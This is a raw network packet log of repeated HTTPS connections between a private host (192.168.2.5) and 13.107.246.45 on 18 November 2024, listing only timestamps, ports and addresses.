Nov 18, 2024 20:21:35.923496008 CET	49785	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.923510075 CET	443	49785	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.931991100 CET	443	49782	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.932070017 CET	443	49782	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.932230949 CET	49782	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.932230949 CET	49782	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.932230949 CET	49782	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.938380003 CET	49786	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.938414097 CET	443	49786	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.938498020 CET	49786	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.938641071 CET	49786	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:35.938648939 CET	443	49786	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.972482920 CET	443	49780	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.972568989 CET	443	49780	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:35.972800970 CET	49780	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.018985033 CET	443	49783	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.035351038 CET	49780	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.035393000 CET	443	49780	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.035804987 CET	49780	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.035815001 CET	443	49780	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.037606955 CET	49783	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.037631035 CET	443	49783	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.038044930 CET	49783	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.038053036 CET	443	49783	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.042778015 CET	49787	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.042829990 CET	443	49787	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.042912960 CET	49787	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.043045044 CET	49787	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.043062925 CET	443	49787	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.164203882 CET	443	49783	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.164572954 CET	443	49783	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.164623976 CET	49783	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.164853096 CET	49783	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.164874077 CET	443	49783	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.164885998 CET	49783	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.164891958 CET	443	49783	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.168664932 CET	49788	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.168751955 CET	443	49788	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.168839931 CET	49788	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.169097900 CET	49788	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.169133902 CET	443	49788	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.243869066 CET	49782	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.243921041 CET	443	49782	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.643253088 CET	443	49784	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.648050070 CET	49784	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.648068905 CET	443	49784	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.649599075 CET	49784	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.649605036 CET	443	49784	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.659775972 CET	443	49785	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.660166025 CET	49785	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.660200119 CET	443	49785	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.660707951 CET	49785	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.660727024 CET	443	49785	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.668859959 CET	443	49786	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.669958115 CET	49786	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.669980049 CET	443	49786	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.670663118 CET	49786	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.670670986 CET	443	49786	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.779623032 CET	443	49784	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.779814959 CET	443	49784	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.780004025 CET	49784	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.780045033 CET	49784	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.780045033 CET	49784	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.780062914 CET	443	49784	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.780071020 CET	443	49784	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.782859087 CET	49789	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.782912970 CET	443	49789	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.782989979 CET	49789	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.783106089 CET	49789	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.783113956 CET	443	49789	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.793941975 CET	443	49785	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.794095993 CET	443	49785	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.794157028 CET	49785	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.794329882 CET	49785	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.794329882 CET	49785	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.794352055 CET	443	49785	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.794363022 CET	443	49785	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.796142101 CET	49790	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.796180964 CET	443	49790	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.796245098 CET	49790	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.796381950 CET	49790	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.796392918 CET	443	49790	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.802172899 CET	443	49786	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.802252054 CET	443	49786	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.802292109 CET	443	49787	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.802304029 CET	49786	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.802342892 CET	49786	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.802357912 CET	443	49786	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.802366972 CET	49786	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.802372932 CET	443	49786	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.802689075 CET	49787	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.802716970 CET	443	49787	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.803235054 CET	49787	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.803247929 CET	443	49787	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.804452896 CET	49791	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.804466963 CET	443	49791	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.804531097 CET	49791	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.804624081 CET	49791	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.804635048 CET	443	49791	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.921216011 CET	443	49788	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.921835899 CET	49788	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.921914101 CET	443	49788	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.922264099 CET	49788	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.922277927 CET	443	49788	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.942902088 CET	443	49787	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.943233967 CET	443	49787	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.943304062 CET	49787	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.943371058 CET	49787	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.943371058 CET	49787	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.943396091 CET	443	49787	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.943409920 CET	443	49787	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.945719957 CET	49792	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.945759058 CET	443	49792	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:36.945826054 CET	49792	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.945981979 CET	49792	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:36.945995092 CET	443	49792	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.054008961 CET	443	49788	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.054141045 CET	443	49788	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.054424047 CET	49788	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.054573059 CET	49788	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.054600954 CET	443	49788	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.054616928 CET	49788	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.054625034 CET	443	49788	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.058538914 CET	49793	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.058582067 CET	443	49793	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.058713913 CET	49793	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.059356928 CET	49793	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.059370995 CET	443	49793	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.535409927 CET	443	49790	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.536079884 CET	443	49789	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.536463976 CET	49790	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.536515951 CET	443	49790	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.536678076 CET	49789	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.536699057 CET	443	49789	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.536845922 CET	49790	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.536859035 CET	443	49790	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.537096977 CET	49789	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.537102938 CET	443	49789	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.557106972 CET	443	49791	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.560278893 CET	49791	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.560292959 CET	443	49791	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.560751915 CET	49791	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.560755968 CET	443	49791	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.670741081 CET	443	49789	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.671148062 CET	443	49790	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.671524048 CET	443	49789	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.671622038 CET	49789	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.671668053 CET	49789	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.671668053 CET	49789	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.671685934 CET	443	49789	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.671698093 CET	443	49789	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.671737909 CET	443	49790	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.671859026 CET	49790	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.671943903 CET	49790	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.671967030 CET	443	49790	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.671981096 CET	49790	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.671988964 CET	443	49790	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.674755096 CET	49795	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.674755096 CET	49794	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.674796104 CET	443	49794	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.674798012 CET	443	49795	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.674876928 CET	49794	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.675031900 CET	49795	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.675031900 CET	49795	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.675044060 CET	49794	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.675060034 CET	443	49794	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.675067902 CET	443	49795	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.679653883 CET	443	49792	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.680097103 CET	49792	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.680107117 CET	443	49792	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.680546999 CET	49792	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.680551052 CET	443	49792	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.697489023 CET	443	49791	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.697941065 CET	443	49791	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.698039055 CET	49791	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.698338985 CET	49791	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.698338985 CET	49791	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.698350906 CET	443	49791	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.698359966 CET	443	49791	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.700803041 CET	49796	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.700850964 CET	443	49796	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.700990915 CET	49796	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.701138973 CET	49796	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.701173067 CET	443	49796	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.785336018 CET	443	49793	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.785900116 CET	49793	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.785919905 CET	443	49793	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.786362886 CET	49793	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.786369085 CET	443	49793	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.810902119 CET	443	49792	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.810986042 CET	443	49792	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.811117887 CET	49792	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.811285973 CET	49792	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.811302900 CET	443	49792	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.811342955 CET	49792	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.811348915 CET	443	49792	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.813937902 CET	49797	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.813992977 CET	443	49797	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.814207077 CET	49797	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.814362049 CET	49797	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.814376116 CET	443	49797	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.913610935 CET	443	49793	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.913942099 CET	443	49793	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.914010048 CET	49793	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.914043903 CET	49793	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.914062023 CET	443	49793	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.914074898 CET	49793	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.914083004 CET	443	49793	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.916766882 CET	49798	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.916841030 CET	443	49798	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:37.916929960 CET	49798	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.917105913 CET	49798	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:37.917125940 CET	443	49798	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.411780119 CET	443	49794	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.437994957 CET	443	49795	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.439666986 CET	443	49796	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.444816113 CET	49794	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:38.444844007 CET	443	49794	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.445193052 CET	49794	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:38.445202112 CET	443	49794	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.445445061 CET	49795	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:38.445504904 CET	443	49795	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.445790052 CET	49795	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:38.445804119 CET	443	49795	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.446003914 CET	49796	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:38.446033001 CET	443	49796	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.446333885 CET	49796	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:38.446341038 CET	443	49796	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.571558952 CET	443	49794	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.571615934 CET	443	49794	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.571715117 CET	49794	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:38.571743965 CET	443	49794	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.571767092 CET	443	49794	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.571818113 CET	49794	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:38.572880983 CET	443	49796	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.572964907 CET	443	49796	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.573009014 CET	49796	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:38.574218035 CET	443	49797	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.581886053 CET	49794	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:38.581916094 CET	443	49794	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.581929922 CET	49794	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:38.581937075 CET	443	49794	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.582056999 CET	49796	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:38.582087994 CET	443	49796	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.582115889 CET	49796	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:38.582123995 CET	443	49796	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.587995052 CET	443	49795	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.588171005 CET	443	49795	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.588232994 CET	49795	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:38.591923952 CET	49797	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:38.591953993 CET	443	49797	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.592361927 CET	49797	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:38.592372894 CET	443	49797	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.592705965 CET	49795	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:38.592739105 CET	443	49795	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.592760086 CET	49795	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:38.592768908 CET	443	49795	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.634622097 CET	49799	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:38.634692907 CET	443	49799	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.634938002 CET	49799	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:38.639894009 CET	49800	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:38.639961958 CET	443	49800	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.640018940 CET	49799	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:38.640039921 CET	49800	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:38.640053034 CET	443	49799	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.640435934 CET	49800	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:38.640455008 CET	443	49800	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.641148090 CET	49801	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:38.641195059 CET	443	49801	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.641249895 CET	49801	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:38.641855001 CET	49801	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:38.641874075 CET	443	49801	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.667560101 CET	443	49798	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.668585062 CET	49798	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:38.668621063 CET	443	49798	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.668962002 CET	49798	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:38.668970108 CET	443	49798	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.721807957 CET	443	49797	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.721870899 CET	443	49797	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.721986055 CET	49797	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:38.722026110 CET	443	49797	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.722101927 CET	443	49797	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.722156048 CET	49797	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:38.722217083 CET	49797	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:38.722235918 CET	443	49797	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.722249031 CET	49797	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:38.722255945 CET	443	49797	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.788304090 CET	49802	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:38.788367033 CET	443	49802	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.788455009 CET	49802	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:38.788661003 CET	49802	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:38.788678885 CET	443	49802	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.799510002 CET	443	49798	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.799544096 CET	443	49798	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.799631119 CET	49798	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:38.799665928 CET	443	49798	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.799824953 CET	49798	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:38.799935102 CET	443	49798	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.799990892 CET	443	49798	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.800038099 CET	49798	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:38.808099985 CET	49798	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:38.808144093 CET	443	49798	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.808171034 CET	49798	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:38.808187008 CET	443	49798	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.865180969 CET	49803	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:38.865278959 CET	443	49803	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:38.865391016 CET	49803	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:38.865520954 CET	49803	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:38.865550041 CET	443	49803	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.365259886 CET	443	49799	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.365712881 CET	49799	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:39.365745068 CET	443	49799	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.365763903 CET	443	49801	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.366226912 CET	49801	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:39.366247892 CET	443	49801	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.366256952 CET	49799	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:39.366262913 CET	443	49799	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.366656065 CET	49801	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:39.366663933 CET	443	49801	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.426683903 CET	443	49800	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.427144051 CET	49800	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:39.427177906 CET	443	49800	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.427594900 CET	49800	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:39.427602053 CET	443	49800	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.501827002 CET	443	49801	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.501914978 CET	443	49801	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.501993895 CET	49801	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:39.502151012 CET	49801	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:39.502177000 CET	443	49801	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.502192974 CET	49801	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:39.502199888 CET	443	49801	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.504760981 CET	49804	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:39.504812956 CET	443	49804	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.504899025 CET	49804	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:39.505053043 CET	49804	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:39.505064964 CET	443	49804	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.512854099 CET	443	49799	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.512877941 CET	443	49799	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:39.512947083 CET	49799	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:39.512976885 CET	443	49799	13.107.246.45	192.168.2.5
